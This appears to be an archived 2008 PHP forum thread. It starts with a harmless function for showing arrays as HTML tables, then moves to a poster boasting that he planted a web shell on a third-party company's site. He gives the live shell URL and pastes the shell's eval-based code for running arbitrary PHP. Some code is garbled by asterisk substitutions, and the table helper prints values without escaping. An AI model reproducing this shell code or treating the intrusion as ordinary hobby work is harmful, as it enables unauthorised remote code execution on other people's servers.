View Full Version : Array of Hope
Yo, mein bon amigos!
Haven't been here for quite a while. Been concentrating on redesigning a new web site core logic module.
Thought I would stop by and leave some brain droppings. I just made a useful PHP tool that turned out to be very helpful and thought I would share it.
Ever want to see what's inside an associative array, but were afraid to ask?
The raw print_r() function output is rather messy and sticks to your face.
Here's a simple utility function to easily and neatly display an associative array's contents in the form of a table.
Just use the array you want to display as the function input argument.
For example:
print Array_Query_Table ($_SERVER);
If cookies exist, you can also view their contents the same way, since cookies are stored in a super-global array.
print Array_Query_Table ($_COOKIE);
The function generates the complete code for a ready-to-print HTML table to display the array contents.
When writing an interactive web page, this function makes it easy to check the contents of the POST and GET or other associative arrays as you debug your program interface.
Try
print Array_Query_Table ($_POST);
or
print Array_Query_Table ($_GET);
to see all your I/O form element values.
Here is the function code:
function Array_Query_Table ($ArrayArg)
{
$out = '';
$x = $ArrayArg;
ForEach ($x as $key => $value)
{
$out .= "<TR><TD BGCOLOR='LightYellow'>$key</TD><TD BGCOLOR='LightCyan'>$value</TD></TR>\n";
}
return "<TABLE BGCOLOR='black' CELLPADDING='2' CELLSPACING='*'><TD BGCOLOR='yellow'>KEY</TD><TD BGCOLOR='cyan'>VALUE</TD>$out</TABLE>";
}
JayT was here
Sponsored by the Swiss Army Condom
You're Ready for Anything In Heaven, Hell or Earth and Beyond the Stars.
Moonbat
03-22-2008, 08:33 PM
Looks pretty intersting. The code looks clean, but there is one line I'm confused about.
ForEach ($x as $key => $value)
I know about foreach but I've never seen it used like this. Could you explain it a little better to me?
EDIT: Lol, forgot to say welcome back dude! It's been a long while, and I've missed seeing your bytes of wisdom :D Not too much has changed around here.
Looks pretty intersting. The code looks clean, but there is one line I'm confused about.
ForEach ($x as $key => $value)
I know about foreach but I've never seen it used like this. Could you explain it a little better to me?
EDIT: Lol, forgot to say welcome back dude! It's been a long while, and I've missed seeing your bytes of wisdom :D Not too much has changed around here.
Hi, Moonbat!
Glad to be back.
The ForEach is a bit tricky. It automatically works through the array. I don't claim to understand it, but I just discovered by experimenting with converting arrays into strings and vice versa, that the code worked, so I put it into a packaged function to help me keep ***** of certain array contents while deb***ing.
Use *&#*7; of time programming, **% of time deb***ing!
grrrrrrrr
ForEach ($x as $key => $value)
{
PHP code block using paired sequential $key and $value contents extracted from $x;
In this case, the extracted pairs are assembled in a TABLE line structure;
}
Essentially it means that:
For each item in associative array $x, sequentially read each item key (or label) and its corresponding item value into separate strings ($key, $value) until every element in the array has been used. Each cycle extracts the next ($key, $value) pair from associative array $x. This way you can easily extract and view or work with the values as needed. It helps me while deb***ing.
I copied the $ArrayArg contents into array $x so it would be a stable array and not change during the function operation. Sometimes the argument value can actually change while a function is executing causing strange erroneous results that are very difficult to trace. It's best to copy the argument value to an internal stable variable and work with it instead within a function.
I've been working hard on a whole new core module to build my site around, similar to an API for building a web site. It's an obsession. I'm becoming addicted to PHP!
LOL
Moonbat
03-22-2008, 09:52 PM
Well, after testing out the function, I kinda understand how it works, and your explanation helped as well. I might play around with this function a little bit.
It's an obsession. I'm becoming addicted to PHP!
Welcome to the club :D I'm also obsessed with PHP, and will find an excuse to try to code anything and everything in PHP. The only problem is I can't think of anything to code (besides simple websites and little scripts that grab stuff from DBs).
I need inspiration, nothing too large or time-consuming like a website or game. Oh, and nothing I can't do with a free webhost (i.e. no port scanners, free hosts disable fsockopen and other related functions). I only have 256 MB of RAM, and WAMPServer slows me down alot.
Well, after testing out the function, I kinda understand how it works, and your explanation helped as well. I might play around with this function a little bit.
Welcome to the club :D I'm also obsessed with PHP, and will find an excuse to try to code anything and everything in PHP. The only problem is I can't think of anything to code (besides simple websites and little scripts that grab stuff from DBs).
I need inspiration, ....
I try to keep my code reasonably simple because I may need to read it in future to improve on it as my skills increase and I also use it to teach some others basic PHP programming and I don't want it to be too hard for them to follow either.
My worst nightmare is teaching myself PHP by reading code written by others.
LOL
The person you need is nanny McPhee!
LOL
You need more outside interests related to computers.
I love maths and science and computer art and programming, so I have lots of potential room for web programming ideas. Usually I have several projects going at once.
P.S.
Try this:
print Array_Query_Table(timezone_identifiers_list());
:)
Moonbat
03-22-2008, 11:36 PM
Outside interests... Let's see...
Vandalism and other forms of adolescent delinquency
Anime
Basketball
Foreign Language
GFX
I don't have much to go on, sadly. Do you know any sites I could go to with projects? Do you have any projects you can recommend.
I'm currently working on a webshell, but I've got a long way to go before that gets completed. I need fun stuff. Someone, anyone, give me ideas! :o
Outside interests... Let's see...
Vandalism and other forms of adolescent delinquency
Anime
Basketball
Foreign Language
GFX
I don't have much to go on, sadly. Do you know any sites I could go to with projects? Do you have any projects you can recommend.
I'm currently working on a webshell, but I've got a long way to go before that gets completed. I need fun stuff. Someone, anyone, give me ideas! :o
What exactly do you mean by "webshell" ?
Here's a site where you might check for some ideas.
http://www.dreamincode.net/forums/showtopic46487.htm
Moonbat
03-24-2008, 10:28 PM
A web shell is a PHP script that lets you interface with the server. I might not be explaining it too well, so here's an example:
http://klkholdingsinc.com/klk/images/stories/tt/c*00.php?act=ls&d=%2Fhsphere%2Flocal%2Fhome%2Fkrisk%2Fklkholdingsinc.com%2F&sort=0a
Webshells are mostly used in remote file inclusion vulnerabilities.
A web shell is a PHP script that lets you interface with the server. I might not be explaining it too well, so here's an example:
http://klkholdingsinc.com/klk/images/stories/tt/c*00.php?act=ls&d=&#*7;2Fhsphere%2Flocal%2Fhome%2Fkrisk%2Fklkholdingsinc.com%2F&sort=0a
Webshells are mostly used in remote file inclusion vulnerabilities.
Is that your site ?
If so, I'm interested in the source code of the program with the [PHP-Code] link.
It executes PHP code.
My PHP code tester is built around a PHP function that can execute a line of PHP code internally. I'd like to see how that code was made and compare it to my concept. Mine still has a few bugs.
Moonbat
03-25-2008, 04:49 PM
Is that your site ?
If so, I'm interested in the source code of the program with the [PHP-Code] link.
It executes PHP code.
My PHP code tester is built around a PHP function that can execute a line of PHP code internally. I'd like to see how that code was made and compare it to my concept. Mine still has a few bugs.
It's not my site, I just put a shell on that site.
The shell is made by a group called Locus7s.
I'm sure this portion is the full source of the PHP-Code part.
if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+*;
if ($rows < *0) {$rows = *0;}
echo "<br><textarea cols=\"*22\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"*22\" rows=\"*5\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"*22\" rows=\"*0\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"*\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
Powered by vBulletin® Version 4.1.8 Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.